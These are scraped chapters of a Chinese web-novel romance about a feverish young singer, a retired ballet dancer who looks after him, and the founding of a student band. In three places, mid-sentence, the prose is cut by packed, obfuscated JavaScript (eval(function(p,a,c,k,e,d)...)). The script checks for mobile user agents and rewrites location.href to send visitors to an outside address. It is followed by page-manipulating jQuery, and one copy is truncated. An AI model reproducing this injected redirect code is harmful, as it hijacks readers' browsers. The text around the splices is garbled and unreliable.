如果远,汤在锅里咕嘟冒泡的时候,她会靠在门边看他手忙脚乱,然后笑着问要不要帮忙… …疯了吗。 都在胡思乱想什么。 他猛地回神,视线从窗上急急收回。也许是动作太仓促,打乱了呼吸,让柳冬意察觉到了动静。 “怎么了?不舒服吗?” 原拓抬起眼,静静看了她几秒。她的眼睛太清澈,几乎能照见他心里那些最荒唐的幻想。 “没有,”他慌忙低头,切断所有不合时宜的想象,“对了,您下午发的短信我刚看到,抱歉没及时回。” 柳冬意这才想起来,轻轻啊了一声,“没事,不是什么着急的事情。” 她自然地接过话题,“希希面试挺顺利的,她身体条件和乐感都好。不过没系统学过,所以从明天起,估计得每天来舞室训练了。” “您带她吗?”原拓抬头。 “嗯,她演的节目正好是我负责。” “那麻烦您了。” 柳冬意忽然笑了一下,那笑声很低,带着点说不清的意味,让原拓有些困惑。 “这是你口头禅吗?” 她问,眼里还留着未散的笑意。 “什么?” “原拓,”她叫着他的名字,语气突然变得认真,“别总怕麻烦别人,而且,我真的不觉得麻烦。” “为什么?” 原拓想也没想就问出了口。 话一出口,他才觉得冒失。 但他真的想知道,为什么她会对希希,对他那么耐心。这种好,好得让他不知所措,甚至心生惶恐。 显然没料到他会这么问,柳冬意怔了一下。 她侧过脸,像也在寻找答案。 “我现在是她的老师,这是我分内的事。” 这答案的确是她心中所想。 可说出来,又觉得不彻底。像隔了层雾,看得见轮廓,摸不清形状。 原拓看着她转回去的侧脸,低低嗯了一声。可心里总有什么东西在没着没落地飘着,不知该落去哪。 电视里漫长的广告结束了,黑屏之后,浮出电影公司的标志,男声念白响起,预示着正片开始。 “乐队的事,和朋友谈好了吗?” 柳冬意转开话题,目光投向屏幕。 原拓也跟着看过去,“还没来得及,打算周一再和他们说。” “有几个人?” 原拓挠挠头,目前他只确定何风和黎斯贝,“暂时还不知道,大概三四个吧。” “绘珊以前那个乐队好像有五六个人。”柳冬意回忆着,声音里有些怀念。 “那珊姐是负责什么的?” “贝斯,不过我每次听他们演出,都没听见她弹的声音。” 闻言,原拓忍不住笑了一下。 他笑起来的时候,眉眼间的疏离和病气被冲淡了不少,露出些许这个年纪应有的明朗。 柳冬意第一次看他这样笑,不由得转过头来看他,好奇问道:“怎么了?” “没。”原拓赶忙敛起笑容,恢复拘谨,耳根却渐渐爬上了红晕。 看着他表情的变化,她反而觉得有趣,也跟着笑了声,“是不是我说什么外行话了?” “不是不是,”他急忙解释,语速很快,生怕她误会,“因为贝斯声音很低,混在其他乐器里不容易听清,所以经常有人会觉得台上没贝斯手。” “难怪。”柳冬意了然一笑,表示理解这个小乌龙,“那你呢?在乐队里负责什么?” “他们来找我,说是缺主唱,”原拓语气放松了些,“应该就是这个。” “那说明你唱歌真好听,不然人家也不会特意找上你。” 原拓不好意思地抿了抿嘴,虽然类似的话她说过很多次,但每次听见,心里还是涨起一种难以言说的满足感。 他干咳一声,转看向电视,借此找到另一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802493|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题将这份轻松的谈话氛围延续下去。 “您看过这部电影吗?” 柳冬意看了眼片名,“没,我平时很少看电影。” “那您…都做些什么?” 做什么?这个问题让柳冬意自己也愣了一下。 退役之后,时间突然空出一大块,为了填满那些空白,她报过很多兴趣班。 摄影、钢琴、陶塑、绘画。 甚至,还学过几门小语种。 但最后好像什么都没留下,都不了了之。 也就是从那之后,她慢慢意识到,脱离了舞蹈演员这个身份,自己本身是个多么枯燥乏味的人。 “也没做什么,”她弯弯嘴角,话里有一丝自己都没察觉的自嘲,“还挺闲的。” 原拓蹙了下眉。 他感觉她的情绪在这句话里虚无地飘浮着。 意识到可能问错了话,他嘴唇动了动,想弥补点什么。 “那…也挺好的。” 可说完,他就后悔了。 在安慰人这件事上,他从来不在行。以至于让这句话听起来就像一句空洞的敷衍,毫无营养。 “嗯?”柳冬意却对他的回答感到意外,甚至有点好奇,“好在哪?” 她的反问让原拓一时语塞,他想了又想,却发现自己实在词穷得厉害。目光下意识逃向电视,电影里的主角正独自在雨中行走,背影孤寂。 “这电影…后面有个很精彩的反转,”他说得很慢,像是在小心翼翼挑选着词语,“我看过很多遍。” 柳冬意安静看他,等待着下文。 “不过我后来发现,不管看多少遍,那种震撼的感觉,只有第一次最强烈。” 他顿了顿,终于鼓起勇气转头看她,认真地说:“您不是没看过吗?所以…我觉得挺好的。” 柳冬意看着那双因为发烧而显得湿润清亮的琥珀色眼睛,里面的情绪简单直接,一眼就能看见。 尽管他的话奇怪又跳跃,可她能明白,他在用他的方式,帮那片空白寻找新的意义。 “那这么说,”柳冬意再次开口,语气里的自嘲淡去了些许,“我还挺幸运的。” 原拓没明白,毕竟刚刚那一番前言不搭后语的话,他都怀疑自己是不是脑袋摔坏了捡到哪句说哪句。 “不是吗?”她学他刚才的样子,用目光指了下屏幕,声音变得轻快,“能第一次就看到这么精彩的电影。” 原拓愣了一下,随即反应过来, “大概…是这么个意思吧。” 之后两人没再多话,注意力都放在了电影上。 剧情缓慢推进,悬疑感层层叠加。 夜色渐深,输液室的顶灯光线愈发柔和,把两人的影子照得重叠,悄悄融化了先前那点微妙的尴尬和距离感。 柳冬意已经记不清自己多久没真正看过一场电影。上一次,大概还是和周敛恋爱一周年纪念日那天。 这是个让他们俩都头疼的日子,两个骨子里都不浪漫的人,偏要勉强自己营造浪漫,结果总适得其反。 那晚他们特意选了一部口碑很好的小众文艺片,片长三小时,号称年度最浪漫爱情电影。 然而电影才放到四十分钟… 柳冬意感到肩头一沉。 她慢慢偏头看去, 周敛睡着了。 呼吸间是他身上独特的茶墨淡香,微微发着苦,在黑暗的影院里静静弥漫开。 而现在。 输液室的灯光是被调暗后的柔白,人物的对白在空气中低低地流散,虚构的戏剧与真实的困倦隔着一层衣衫,温度与重量都真切地存在。 电影的片尾曲响起,故事终于迎来了结局。 她的呼吸悬停。 是雨水打湿松木的气息。 21. Chapter21 I 柳冬意下意识抬起手,想要推开原拓。可就在指尖触碰到他额头的瞬间,传来的是一片滚烫。 她手指没有收回,也没有再动。 只是那样悬在半空,像一个无处安放的决定,被沉默架在原处。 这时,口袋里传来一阵铃声。 以最正当的理由,将凝固的犹豫打破。 柳冬意深吸一口气,指尖稍稍使力,将原拓的脑袋小心地挪向椅背。 大约是塑料椅背太硬,她瞥见他的眉蹙了一下,轻阖的睫毛在眼睑下投出一片淡灰色的影,随着呼吸轻微颤动。 她忽然发现原拓眉毛生得很好,浓密而修长,不是刻意修剪过的整齐,带着些许自然的野生感。而鼻骨线条从眉心处延伸,到中间有细微的起伏,并非流畅的直线。 视线徐徐向下,停在他的唇上。 他的唇形线条很圆润,但此刻因为高热失水而显得有些苍白。 奇怪得很。 明明先前也见过好几面,直到此刻,柳冬意才骤然察觉,这张脸组合起来,其实是相当好看的。 手机还在固执地响。 她恍然惊觉自己的注视太过失礼,连忙放轻动作起身走向门外,接起电话。 “怎么了小荨?” “服装店那边需要希希的尺码,我没有她家长的电话。”柳荨的声音混着音乐和人声,从听筒里传来。 “我有,等晚点或者明天我问问看吧。” 她一边说,脚步一边无意识在长廊里踱步。 “行,”柳荨似乎走到了稍微安静点的地方,喧闹声减弱了些,“堂姐,有件事还想和你说一下,你现在方便吗?” 走至白墙边,柳冬意顺势倚靠上去。 输液室的外墙是一半磨砂,一半透明的玻璃。 上半部分透明的地方,贴着红色标语: 「您的健康是我们的心愿,祝您早日康复。」 从柳冬意的角度,透过那扇玻璃,正好可以看见原拓歪着的脑袋靠在「心」里。 她眨眨眼,将注意力拉回电话。 “嗯,方便,你说吧。” “今天下午排练我发现她们还是容易紧张,就想跟剧院商量提前租用场地,让孩子们适应环境,但那边的负责人说他做不了主。” “那得找谁?” “不知道,”柳荨叹了口气,“我猜这种事恐怕得直接找老板谈。” 听到要找老板,柳冬意不禁蹙眉。 她和柳荨都不是太擅长与人打交道。 “你有他们老板的联系方式吗?” “没有,所以我想问问你这边有没有认识的人能和他们老板联系上的。” “老板叫什么?” “姓徐,叫徐哲丽。” 柳冬意在记忆里搜索了一番,对这个名字没什么印象,“好,我先问问看,有消息了再回复你。” 挂掉电话,她在通讯录里找到绘珊的名字。她家里经商,人脉广,说不定会认识。 按下拨号,她将手机放到耳边。 听着等待音,柳冬意再次看向那扇透明的玻璃,目光原本是草草掠过那片红色标语,却猝不及防地,撞见原拓睁开了眼睛。 许是因为刚睡醒,他的眼神还是一片涣散。等扫过身侧,发现空无一人,又似是惊醒过来赶忙向四周张望。 看到这一幕,柳冬意本想抬手向他示意自己的位置。 可手还没来得及抬起,原拓的视线就穿过玻璃,穿过「心」里,不偏不倚,望了过来。 视线相对的一瞬间,她看见原拓的表情愣了一下,随即眼中的茫然迅速褪去。 嘴角高高扬起,露出一个明朗的笑。 “冬意?” “怎么了?”柳冬意收回眼神,下意识应道。 “不是你打电话给我的吗,”唐绘珊觉得好笑,“怎么还问我怎么了。” 她抬手摸了摸鼻尖,“抱歉,我一下子忘了。” 电话那头传来带笑的调侃,“你在干嘛啊,魂不守舍的,连跟我打电话都忘了。” “没有,”她攥紧手机,嗔怪了声,“别笑我了。” “好好好,不说了,”唐绘珊收敛笑意,“说吧,找我什么事?” “你认不认识一个叫徐哲丽的人,是城西那家剧院的老板,我和柳荨有些事想找她沟通一下。” “徐哲丽?好像没听过这个名字诶。” “好吧,那我再问问别人…” “诶,你等等,我哥在家,我问问他知不知道。” 柳冬意还未来得及回应,就听见电话那端绘珊提高嗓音喊道:“哥!唐文聿!你来一下!” 紧接着,是一阵模糊的脚步声和交谈声。 只几秒后,一个低沉的男声就从听筒里响起。 “喂?” 柳冬意不自觉站直了身体, “文聿哥,我是柳冬意。” “我知道。”他声音淡淡的。 “我想问问,你认识徐哲丽吗,就是城西那家剧院的老板。” “认识,之前因为一个案子打过交道,”说完,他问了句,“你找她有什么事吗?” 听到他认识,柳冬意心下松了口气,简要说明了舞蹈室想提前租用场地的事。 “好,我待会问问她。”唐文聿很快回应。 “不用了,”她忙说,“你把她电话发给我,我们来跟她谈就好了。” “我和她交情不错,我来说的话,可能更顺利。” “真不用麻烦了…” 柳冬意还想推辞,却被唐文聿直接拦回。 “不麻烦。” 话说到如此地步,自己再拒绝反而显得生分了,“那就谢谢你了,改天有空我请你吃饭。” 那头稍顿,才说:“好。” 手机交回唐绘珊手中,两人又闲聊几句,才结束通话。 给柳荨发完短信,柳冬意转头望向输液室。 护士正在帮原拓拔针,她只看得见他一半身影,和那只放在膝盖上因为输液而有些僵硬的手。 她垂眸,手慢慢抚上胸口的位置。 掌下的心跳平稳如常,什么也没有。 仿佛方才那下不自然的跳动,只是一场梦。 等领完药,离开医院,已经是八点半。 “一天三次,饭后吃。消炎药一定要吃完,退烧药如果体温正常就可以停了。”柳冬意将药袋递给他。 原拓接过纸袋,嘴唇绷起眼神飘忽,全然一副欲言又止的模样。 “怎么了?”柳冬意察觉到他的异常。 “您…吃晚饭了吗?” 说完像是怕她误会,他又急忙解释了句,“刚刚在您车上看到有饭团,所以想问您是不是没有吃晚饭。” “哦,那个啊,是我买来打算当晚饭的,等会儿我回去加热吃一下就好了。” “那…我可以请您吃晚饭…”说到这里,原拓想起自己正在感冒,声音顿时小了下去,“还是下次吧,下次等我好了再请您。” 柳冬意看他那小心翼翼又有些窘迫的样子,没有马上回答。她瞥见他手里攥着的药袋,想起医生叮嘱他要饭后服药。 让他一个人回学校,未必会好好吃饭。 她不由得在心里轻轻叹了口气。 “就今天吧,”她的声音放缓了些,“你等下还得吃药,空腹不行。正好我也饿了,一起吃吧。” “可是感冒会传染…” “又不是共用一双筷子,没那么容易传染的。” 原拓抿了抿唇,他看着眼前的柳冬意,夜风从她背后吹过来,吹散了她的头发,吹来了她身上的百合花香。 他松开唇,迎上那阵风, “好吧,您有什么想吃的吗?” “清淡些的吧。” “好。” 两人来到就近的一家定食日料店,店面不大,装修是暖调的日式风格,原木色的桌椅,柔和的灯光,空气中弥漫着食物温暖的香气。 店内人不多,安静地播放着一首听不懂的日文歌。 “刚才那部电影的反转确实还挺精彩的,我一直以为卡尔是凶手。” 听她这样说,原拓眼睛一亮,“他的行为确实很容易误导人,我第一次看的时候也猜他是凶手。” “我想一般人也很难想到凶手是主角,”柳冬意拿起桌上的玄米茶喝了一口,“猜错也不奇怪。” “是啊,所以后来我看悬疑片都会刻意留意最不像凶手的人,大多时候还真能猜中。” 柳冬意听来好奇,“所以你平常会看很多电影吗?” 原拓不好意思地笑笑,手指无意识地捻着桌上印着菜品介绍的广告纸,“没有,只是高中毕业那会在音像店打过工,没事的时候就可以用店里的影碟机放电影。” “那你最喜欢哪一部?刚刚在医院里的那个吗?” “不是,是一部不是很出名的电影,叫《ONCE》,因为太小众所以那个时候没多少客人会租这个碟片。但我觉得里面的音乐很好听,就经常反复地看,那几个月大概…看了有十几遍吧。” 柳冬意拿出手机搜索,是一部得过奥斯卡配乐奖的音乐电影,她随即想起什么,便问:“是因为这部电影喜欢上音乐的吗?” “算是吧,”他点点头,将折起的餐纸铺平又卷起,“拿到工资后,我就去买了把吉他,学的第一首歌就是这部电影的主题曲。” “挺好的,”柳冬意关掉手机,放到一旁,“能从工作里找到自己喜欢的东西,还能一直坚持下来。” “您呢?” “什么?” “学芭蕾是因为什么?” 原拓发觉,自己今天的胆子似乎大了不少。 柳冬意手肘撑在桌上,单手支着下巴,眼神飘向窗外沉沉的夜色,似是被他这个问题,拖回了很久以前的回忆。 他就这样看着她,灯光在她脸上,很柔软。 她没有化妆,脸上很素净,甚至能看清颊边和鼻尖处细小的绒毛。 他的目光不自觉地停驻在她的眼睛,眼睑下方依旧带着淡青色的痕迹,同初见她时一样。眸光在灯下如含着一汪湖水,温柔地盛满了夜色。 原拓的视线滑过她的鼻梁,最后落在嘴唇上。她的唇形很特别,上唇的唇峰处有一个小小的弧度,像一弯月牙。 或许因为刚刚喝过玄米茶,她的唇还泛着湿润的光泽。像月光,淡粉色的月光。 忽然,她像是想起什么有趣的事,嘴角弯起,笑意在眼底的湖水荡开涟漪。 “是因为小学三年级的时候,学校组织的一次文艺演出。” 她调整了姿势,右手托住下颌,头微微歪着。 “老师选到了我,但集体排练的时候发现我总是慢拍,协调性也不好…没两天就把我换下来了。” “我当时觉得特别不服气,还有点丢脸。” 说到这儿,她托腮的手换成了捧脸,表情也带了些羞赧,“就缠着我妈带我去找专业的老师学,正好她有个朋友是少年宫的芭蕾老师,我就跟着她学了。” “后来,就这样阴差阳错地学了下来。” 这个理由让原拓意外,他原本以为柳冬意是出于天生的兴趣爱好,或者家庭熏陶才学习的芭蕾,没想到最初的动机竟然只是孩子气般的不服输和赌气。 可不知怎么的,他又觉得这个原因可爱极了。 连他也想不通自己为什么会有这种感觉。 “那您喜欢芭蕾吗?”原拓又问。 “刚开始肯定是不喜欢的,”她坦诚地说,“我的身体条件其实并不算好,底子很差,年龄也偏大,每天压腿都痛得要哭。我爸妈看我那么痛苦,就不想让我学下去了。” “但我想既然学了,就不想随便放弃,而且…好像也找不到别的更想做的事情了。” “后来跳着跳着,就成了习惯。至于现在说喜不喜欢…”柳冬意笑了笑,没有再说下去。但原拓看得出来,那笑容里包含了很多复杂的情绪。 这时,两人点好的餐被端了上来。精致的定食碗碟摆放整齐,食物的热气腾腾升起,暂时中断了这个话题。 柳冬意拿起勺子,低头要去吃碗里的茶碗蒸时,颊边的几缕长发散落下来。 她抬手将它们别到耳后,但刚一低头,那几缕头发又滑落下来,险些碰到碗沿。 无奈,她只好将头发全部拢起,另一只手去摸身旁的手提包。 在包里翻了半天,夹层内袋都摸遍了,都没找到发绳。 柳冬意又摸了摸外套口袋,也是空的。 就在她要放弃,勉强凑合一下时,一只手从对面伸了过来。 “这个…能用吗,”原拓的声音带着一丝窘迫,“虽然有点不太合适,但应应急应该是可以的。” 柳冬意抬眼看去,待看清他递来的东西,惊讶之余不免又觉得好笑。 恐怕也只有他,才能想到用耳机当发绳吧。 她习惯性地想要拒绝,可目光触及到到原拓的眼睛,那里满是小心翼翼的善意,甚至还有一丝怕被拒绝的忐忑。 沉默中,柳冬意心里的天平,从“不用”慢慢倾斜,“谢谢”。 她低下头,用耳机线在长发上缠绕几圈,合起,打成蝴蝶结,束成一个低低的马尾。 而耳机线的两端,像两个奇怪的装饰品,垂落在发间,随着她的动作一晃一动。 九点十分,夜已深沉。 云移月走,月移影动。 两人吃完饭,往医院停车场走去 “对了,希希平常穿多大的鞋子你知道吗?明天她过来排练的时候,我得给她准备一双舞鞋。” “34码。” 原拓回答得很快,让柳冬意有些意外。 “记得这么清楚?” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳冬意愣了一下,“嗯,我知道了。” 恍然间,又像是想到什么,她从副驾的抽屉里拿出一把伞来。 “你的伞我忘记带来了,我看下个星期好像有几天雨,这把伞你先用着吧,等下次有机会我再把伞还给你。” 原拓看过去,是一把蓝色的伞。 蓝色的车挂件。 第一次见她时,蓝色的外套。 此刻映在她脸上,柔软的,蓝色的光。 原拓心里忽然有了答案。 他接过了那把伞,“好。” 下了车,原拓站在街边,看着她的车尾灯逐渐模糊,然后转弯,消失在浓重的夜色里。 直到再也看不见了,他才猛地想起一件事,低头又看向手上这把蓝色的伞,手心不自觉地将伞柄握得更紧了些。 回到家,柳冬意将外套和皮包挂在玄关衣架上,疲惫感瞬间袭来。 她换上拖鞋,去往卧室收拾衣服准备去洗澡。 从衣柜取出睡衣时,身后传来啪嗒一声轻响。 回头看去,地板上躺着一条白色耳机。 柳冬意眼皮一跳,太累了吗? 怎么迷迷糊糊的,连还耳机都忘了。 她弯腰捡起耳机,把它放在床头柜上。 来到浴室,温热的水流冲刷过身体,带走不少疲惫,也让柳冬意的思绪清晰了些。 她想着明天排练的日程,想着要和剧院沟通的事情,想着希希的舞鞋和舞蹈服… 零碎的片段也穿插地闪过脑海。 医院里蓝色的塑料椅子,电影里凶手的反转,日料店温暖的光,耳机线缠绕在指间的触感,以及那个从「心」里毫无预兆望过来的笑容… 水龙头被一把关掉。 肌肤残留的温度依旧滚烫。 从浴室出来,厨房的水壶已烧好。 柳冬意端了杯热水回到卧室,拿起床头的药瓶,旋开盖子,倒出两粒蓝色药片。 水有些烫,她将杯子一起放回杯垫,相框旁边。蓝色药片,也映在她和周敛紧牵的手边。 柳冬意挪开视线,无声叹了口气。 关掉大灯,她靠在床头,双人床边。 除了床头一盏暖黄色的台灯,卧室的四角都陷入宁静的夜色。 突然,叮咚一声,桌上的手机亮起。 柳冬意眼睫微动,伸手拿了过来。 屏幕显示,有两条未读短信。 一条来自唐文聿,半小时前发的。 「已经联系好了,我把你电话发过去了,徐姐说明天会跟你细说。」 一条来自原拓,发自一分钟前。 「您到家了吗?」 柳冬意这才记起,自己忘了发短信的事。 她赶忙点开短信。 「已经到了,抱歉,忘了告诉你。还有耳机,下次和伞一起还给你。」 发送后,柳冬意回复完唐文聿,正想将手机放回,又是一条新消息弹出: 「没关系,安全到家就好,您早点休息。」 她没有再回复,眼神不由自主地望向桌上那条白色耳机。 要还给他的东西,莫名其妙又多了一样。 退出短信界面,柳冬意的手指在屏幕上随意滑动,打发时间。 忽然,后台一个未关闭的网页出现在眼前。 是之前搜索《once》电影的界面。 柳冬意想起原拓说过,因这部电影的音乐,他反复看了几十遍。 她莫名有些好奇,那会是怎样一首歌,能有这样大的魔力。 而搜索栏下面自动跳出来的相关搜索词条里,正好有《once》电影原声带。 她点开了其中一个链接,页面跳转到一个音乐播放平台,播放按钮出现在屏幕中央。 柳冬意的手指按下三角形的播放键,当熟悉的吉他声从手机里响起时,她眉眼微动,记起了这段旋律。 她本能地按下暂停键。 本能地,看向床头的耳机。 再次按下播放键,一阵细微的电流音灌进耳里。 柳冬意闭上眼睛,向后靠进柔软的枕头。 安静听着,当初在医院时,他唱的一字一句。 杯中的热气渐渐消散,水温变得适宜。 呼吸在音乐中变得均匀悠长,那两粒蓝色药片,静静地躺在杯垫旁,在昏暗的床头灯下,渐渐隐匿了形状,融入了安眠的夜。 耳机里的音乐播完,自动回到了开头…但她似乎已经睡着了,眉心舒展开来,唇角也带着一丝放松的弧度。 窗外的月光悄悄挪移,透过帘隙,在地板投下一小片朦胧光影。万籁俱寂,唯有旋律,流淌在温柔的夜晚,也流入她沉静的梦里。 22. Chapter22 便利店的门铃声响起,欢迎光临四个字还未完全播报完,就听得黎斯贝元气满满的声音。 “下午好啊,原拓!” 原拓抬头望去,看见何风跟在她身后,也小声附和了一句,“下午好。” 他弯起嘴角,点了点头,算是回应。 大约是看见有客人在收银台结账,两人没有过来同他说话,而是像两条滑溜的鱼,扭身钻进了货架之间。 便利店的音乐下,原拓隐约捕捉到黎斯贝压低的声音。 “咱俩的战术,还记得不?” “…记住了。” “重复一遍。” 一阵漫长的沉默,只剩下某袋薯片的塑料包装被攥得嘎吱响。 原拓一边等食物加热,一边用余光瞥见何风紧抿着唇,半天张不开嘴。 见他这副模样,黎斯贝一胳膊肘捅了过去,“喂,你不会忘了吧?” 何风吃痛,捂住自己的肋骨,像是被逼到绝境,才终于开口:“我负责哭,你负责卖惨。” “over。” 原拓嘴角弯了一下,又迅速压平。 两人在货架区晃悠了好几圈,不时拿起零食又放下,眼神瞟向收银台。终于捱到最后一位客人离开,黎斯贝递去一个眼神。 何风沉重地叹了口气,视死如归地抓起一包原味薯片,脚步僵硬地跟着她走到收银台。 “结账。” 原拓拿来薯片,扫码录入。 “3块5。” 何风摸遍全身的口袋,“斯贝,你带钱了吗?” 黎斯贝眉毛一挑,似乎没料到他入戏如此之快,愣了一秒,立刻深吸一口气,眉眼耷拉下来,努力酝酿出同病相怜的愁苦,“你家里…还没给你生活费吗?” “啊,给了啊,”他却像是完全没入戏,愣愣回答,“上星期不是你跟我一起去取的吗。” 黎斯贝瞬间瞪大了眼睛,满头的问号飘出来,两人就这么僵在原地,大眼瞪小眼,一个懵懂,一个崩溃。 原拓看着两人配合得稀烂的表演,终于没忍住,轻笑出声。 “不用了,”他将薯片递了回去,“我请你们吧。” 黎斯贝眉眼弯弯,端出一个客气的笑,“这怎么好意思…” “你们待会有空吗?” “有。”她条件反射般回答。 “我马上下班了,”原拓扯了下唇,目光在两人期待又紧张的脸上扫过,“待会…商量下乐队的事情吧。” 空气安静了两秒。 黎斯贝和何风对视一眼,仿佛一时半刻没听懂这句话。但下一秒,她猛地转过头,难以置信地紧紧盯着原拓,声音拔高了一个度。 “你同意加入乐队了?!” 原拓微微点头。 黎斯贝稳住激动的心情,“那…那我们去对面的小饭馆等你?” “好。” 原拓应了下来,而后看着两人像是中了头彩一样,脚步轻快地冲出了便利店。 透过玻璃,他还看见黎斯贝在晃何风的胳膊,而他好脾气地笑着,扶正被晃歪的眼镜。 下午五点,交接班的同事准时来了,原拓换下衣服去往对面的小饭馆。 正是饭点,推开门,拥挤的店内,他一眼就看见了那两颗醒目的彩头。 穿过几张餐桌,他来到他们占据的靠窗小桌旁。黎斯贝正低头研究着一张边缘有些油腻的塑封菜单。 看到他过来了,立刻转手将菜单推了过来。 “看看想吃啥,今天我请客!”她说得豪爽无比,一副大事已定的痛快模样。 原拓接过菜单,“我请吧,算是赔罪,耽误你们一个多月的时间了。” “耽误什么呀,说这种见外的话,”黎斯贝撑着腮,眼睛弯弯的,“咱都别抢了,让何风请,正好他上星期刚领的生活费,富得很。” 何风推了推眼镜,脸上没什么波澜, 也没有反对,“嗯,那就我请吧。” 等点完菜,黎斯贝双手撑桌,身体前倾,发亮的眼睛在原拓和何风之间转来转去。 “那咱们这个乐队,就算正式组成啦!” “我们三个人吗?”原拓问。 “是啊,我打鼓,何风吉他,你主唱,阵容很完美!” 听到两人负责的项目,原拓眼底闪过一丝讶异。他猜过这两人会玩什么乐器,但现在发现,自己一个也没猜中。 “哦,对了,”黎斯贝想起什么重要的事,打了个响指,“还有一个贝斯。” “谁啊?”原拓问。 “我啊。” 没等他反应过来,坐在她身旁的何风像是被触发了什么隐秘的笑点开关,突然就低下头,发出一声极力压抑却还是漏了出来的笑声。 原拓刚想问他笑什么,黎斯贝竟也跟着一起笑了起来,而且笑得比何风更放开些,牙龈大露着,眼睛都眯成了一条细缝。 看着笑作一团的两人,他呆呆坐在原地,云里雾里。 “不好意思,”黎斯贝憋着笑,努力摆出一副正经的样子向他解释,“他笑点有点低…主要是,我叫斯贝,” “反过来念,就是贝斯。” 说完,原本已经稍微缓和下来的何风像是又被戳中笑点,猛地低头,肩膀抖得厉害,连耳根都红了起来。 原拓眨眨眼,随即恍然大悟,理解了这冷笑话。 “不好笑吗?”黎斯贝对他的反应有些挫败。 他很给面子地弯了弯嘴角,“…挺好笑的。” 好一会,两人终于笑够了,慢慢淡定下来。 “OK,言归正传!”黎斯贝重新坐直身体,“现在人已经定下来了,乐队的名字,你们俩有没有什么想法?这可是头等大事。” 何风和原拓齐齐摇头。 她嘴角一撇,“那就赶紧想想。” 对于起名字这种事情原拓确实没什么头绪,他抬眼看向对面两人。何风已经蹙起眉头,盯着桌上的筷子筒,仿佛那里面藏着什么惊世好名。 而黎斯贝则双手抱臂,歪着脑袋, 像是在思考又像是在放空。 正当原拓也准备调动一下脑神经认真想一下乐队名字时,一只手忽然用力拍向桌子,声音响亮得引得邻桌客人都看了过来。 “叫解放外太空怎么样?!”但这名字黎斯贝才喊出来,就立马被她自己否决了,“不行不行,太二了...” “不如叫…”何风试探性地提议,“万里阳光?” 话音未落,他脑袋上就挨了一掌。 “要看动漫回家看去,咱们是乐队,不是出海。” 原拓看着这一幕,嘴角轻轻扬起。只是要他现在扒光了脑袋想,估计也想不出来什么比解放外太空或者万里阳光更好的名字了。 他看着桌上那壶免费的白开水,忽然灵光一现,试探着提议,“不如…待会用上的第一道菜命名好了。” 黎斯贝显然愣了一下,将刚才点菜的菜单转回到自己面前,手指在上面快速划过,然后停在某个菜名上,“你想叫干锅肥肠啊?” 原拓嘴角抽搐了下,“…这道菜,应该不会那么快就上吧。” “我觉得这个提议挺好的。”何风却弱声附和。 黎斯贝的眼神在两人之间来回转了转,而后大手一挥,做出了决定。 “行,那咱们就听天由命!” 达成共识后,三人之间忽然陷入一种奇妙的安静。 谁都没再说话,六只眼睛不约而同屏息凝神,望向厨房出菜的方向。 时间似乎变得有点漫长。 隔壁桌的喧闹,碗筷的碰撞声,厨房炒菜的轰响都被抽离。他们的世界中心,只剩下那条通往他们桌子的必经之路。 终于,在三人几乎要望眼欲穿的时候,一名服务员端着一盘菜,朝着他们的方向走了过来。 几人神经瞬间绷紧,视线紧紧黏在那盘菜上,随着它的移动而移动。 啪嗒一声,盘子落下。 六只眼睛瞬间汇集,目光灼灼。 “这谁点的?”黎斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811554|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝语气复杂。 她身旁,一只手缓缓举起。 “你觉得这合适吗?” “好像…”何风在黎斯贝的注视下气势越来越弱,“不大合适。” 见状,原拓默默将猪脚汤推到了一边。 六只眼睛又开始了新一轮的望眼欲穿。 这次的等待似乎更加漫长,肚子也开始不合时宜地咕咕叫起来。 终于,三分钟后,另一位服务员端着一盘色彩鲜艳的菜,放在了餐桌中央。 “那咱们的乐队就叫…”闻到那混合着肉香辣椒和番茄的香气,黎斯贝咽了口唾沫,“红三剁?” 原拓和何风对视一眼,都在对方眼中读到了总比猪脚好,就它吧的复杂情绪,然后默契地齐齐点头,一致通过。 “好!红三剁乐队,今天正式成立!”黎斯贝开心地宣布,拿起筷子,“为了庆祝,开吃!” 吃饭间隙,三人简单聊了聊彼此喜欢的音乐风格,发现虽然各有偏好,但重合度出乎意料的高,这让他们都松了口气。 吃完饭,原拓借口给室友带饭,去到收银台付了自己这桌的账单。 何风发现后执意要给钱,推让几个来回后,最终还是拗不过,收下了他的这份心意。 临走时,黎斯贝再次强调,“说好了啊,星期天上午九点半,你俩都别迟到啊,谁迟到谁负责请客吃饭。” 因为师范学校在另一条路上,何风要送她回去,原拓便与他们在校门口的方向打了招呼,然后独自一人,朝着反方向,慢慢走回学校。 半个小时的路程,他习惯性想拿出耳机出来听歌,但摸到空空的口袋,才想起自己的耳机在柳冬意那。 原拓顺势将两只手都放进外套口袋,抬头看向天空,暮色四合,香樟树的轮廓在渐暗的天色中显得更加深邃,新生的叶子在晚风中轻轻摇曳。 